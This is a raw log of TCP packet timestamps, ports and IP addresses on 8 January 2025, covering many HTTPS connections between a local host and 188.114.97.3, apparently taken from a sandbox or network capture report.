Jan 8, 2025 15:45:40.246566057 CET	443	49866	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.246670961 CET	49866	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.246773958 CET	49867	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.246817112 CET	443	49867	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.246870995 CET	49867	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.247076035 CET	49866	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.247087955 CET	443	49866	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.247258902 CET	49867	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.247271061 CET	443	49867	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.260970116 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.261018991 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.261056900 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.261070967 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.261079073 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.261110067 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.261132956 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.261136055 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.261146069 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.261189938 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.261323929 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.261379004 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.261384964 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.261641026 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.261683941 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.261688948 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.264961004 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.265001059 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.265029907 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.265043974 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.265058041 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.265095949 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.265104055 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.265660048 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.265697002 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.265705109 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.265728951 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.265788078 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.265794039 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.266005039 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.266048908 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.266056061 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.266062975 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.266104937 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.266446114 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.269665956 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.269720078 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.269726992 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.320319891 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.320322990 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.351794004 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.351857901 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.351927996 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.351944923 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.352127075 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.352169991 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.352179050 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.352381945 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.352473974 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.352524996 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.352535009 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.352536917 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.352560997 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.352580070 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.352586985 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.352601051 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.352628946 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.352827072 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.352886915 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.352891922 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.352942944 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.352982044 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.353065968 CET	49864	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.353080034 CET	443	49864	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.353091002 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.353117943 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.353140116 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.353147030 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.353192091 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.353200912 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.353229046 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.353286028 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.353297949 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.354114056 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.354140997 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.354165077 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.354166031 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.354176044 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.354212999 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.354221106 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.354280949 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.354288101 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.355127096 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.355170965 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.355173111 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.355180979 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.355221987 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.356071949 CET	49868	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.356108904 CET	443	49868	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.356173038 CET	49868	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.356400967 CET	49869	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.356447935 CET	443	49869	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.356498003 CET	49869	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.356654882 CET	49870	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.356664896 CET	443	49870	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.356723070 CET	49870	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.357122898 CET	49868	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.357139111 CET	443	49868	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.357348919 CET	49869	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.357358932 CET	443	49869	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.357697010 CET	49870	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.357709885 CET	443	49870	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.438669920 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.438723087 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.438746929 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.438796043 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.438810110 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.438852072 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.438935995 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.438982964 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.439387083 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.439440012 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.439445972 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.439487934 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.439507961 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.439555883 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.439675093 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.439723015 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.440332890 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.440376043 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.440393925 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.440401077 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.440413952 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.440439939 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.441276073 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.441335917 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.441338062 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.441346884 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.441365957 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.441384077 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.441415071 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.441458941 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.441464901 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.441509962 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.442313910 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.442367077 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.442440033 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.442485094 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.443427086 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.443475962 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.525578976 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.525640011 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.525669098 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.525726080 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.525760889 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.525782108 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.525815964 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.525866032 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.525909901 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.525932074 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.525973082 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.526103020 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.526139021 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.526184082 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.526226044 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.526341915 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.526374102 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.526381969 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.526387930 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.526410103 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.526427984 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.526499987 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.526540041 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.526602983 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.526639938 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.526645899 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.526731014 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.526772022 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.527014017 CET	49865	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.527030945 CET	443	49865	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.531323910 CET	49871	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.531372070 CET	443	49871	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.531447887 CET	49871	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.531899929 CET	49871	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.531909943 CET	443	49871	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.701148987 CET	443	49866	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.701503038 CET	49866	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.701522112 CET	443	49866	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.702544928 CET	443	49866	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.702615976 CET	49866	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.703114033 CET	49866	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.703128099 CET	49866	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.703181028 CET	443	49866	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.703181982 CET	49866	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.703248024 CET	49866	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.703567028 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.703598022 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.703660965 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.703893900 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.703907967 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.710333109 CET	443	49867	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.710572958 CET	49867	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.710602045 CET	443	49867	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.711668968 CET	443	49867	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.711735964 CET	49867	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.712033987 CET	49867	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.712047100 CET	49867	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.712100983 CET	49867	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.712104082 CET	443	49867	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.712153912 CET	49867	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.712470055 CET	49874	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.712496042 CET	443	49874	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.712560892 CET	49874	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.712744951 CET	49874	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.712758064 CET	443	49874	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.820228100 CET	443	49870	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.820593119 CET	49870	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.820607901 CET	443	49870	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.821146011 CET	443	49869	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.821342945 CET	49869	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.821369886 CET	443	49869	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.822053909 CET	443	49870	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.822406054 CET	443	49869	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.822455883 CET	49870	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.822475910 CET	49869	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.822539091 CET	49870	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.822551012 CET	49870	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.822608948 CET	49870	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.822623014 CET	443	49870	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.822695971 CET	49870	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.822977066 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.823010921 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.823085070 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.823256969 CET	49869	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.823270082 CET	49869	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.823306084 CET	49869	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.823328972 CET	443	49869	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.823376894 CET	49869	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.823467016 CET	49876	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.823492050 CET	443	49876	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.823544979 CET	49876	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.823676109 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.823688984 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.823829889 CET	49876	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.823841095 CET	443	49876	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.829520941 CET	443	49868	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.829725981 CET	49868	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.829735994 CET	443	49868	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.830775976 CET	443	49868	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.830853939 CET	49868	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.831113100 CET	49868	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.831127882 CET	49868	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.831166983 CET	49868	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.831234932 CET	443	49868	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.831310987 CET	49868	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.831418991 CET	49877	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.831448078 CET	443	49877	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:40.831518888 CET	49877	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.831723928 CET	49877	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:40.831737041 CET	443	49877	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.004834890 CET	443	49871	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.005223036 CET	49871	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.005250931 CET	443	49871	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.006315947 CET	443	49871	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.006386995 CET	49871	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.006705999 CET	49871	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.006705999 CET	49871	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.006762028 CET	49871	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.006771088 CET	443	49871	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.006828070 CET	49871	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.007108927 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.007147074 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.007227898 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.007431984 CET	49878	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.007441044 CET	443	49878	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.158844948 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.159138918 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.159152985 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.160198927 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.160279036 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.160706043 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.160773993 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.161170959 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.161179066 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.178539991 CET	443	49874	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.178793907 CET	49874	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.178821087 CET	443	49874	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.180219889 CET	443	49874	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.180305958 CET	49874	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.180597067 CET	49874	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.180661917 CET	443	49874	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.180738926 CET	49874	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.180747032 CET	443	49874	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.208328009 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.224291086 CET	49874	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.286286116 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.286346912 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.286381006 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.286403894 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.286417007 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.286458969 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.286465883 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.286506891 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.286545038 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.286549091 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.286556959 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.286590099 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.286600113 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.286825895 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.286868095 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.286874056 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.286881924 CET	443	49873	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.286927938 CET	49873	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.294909954 CET	443	49877	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.295175076 CET	49877	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.295193911 CET	443	49877	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.296547890 CET	443	49877	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.296627998 CET	49877	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.298091888 CET	49877	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.298233986 CET	49877	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.298239946 CET	443	49877	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.298275948 CET	443	49877	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.298964024 CET	443	49876	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.300503969 CET	49876	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.300530910 CET	443	49876	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.301632881 CET	443	49876	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.301738977 CET	49876	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.304141998 CET	49876	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.304231882 CET	443	49876	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.304280043 CET	49876	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.312844038 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.321218014 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.321229935 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.324981928 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.325088978 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.325448990 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.325637102 CET	49875	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:45:41.325644016 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.325737953 CET	443	49875	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.328718901 CET	443	49874	188.114.97.3	192.168.2.16
Jan 8, 2025 15:45:41.328775883 CET	443	49874	188.114.97.3	192.168.2.16
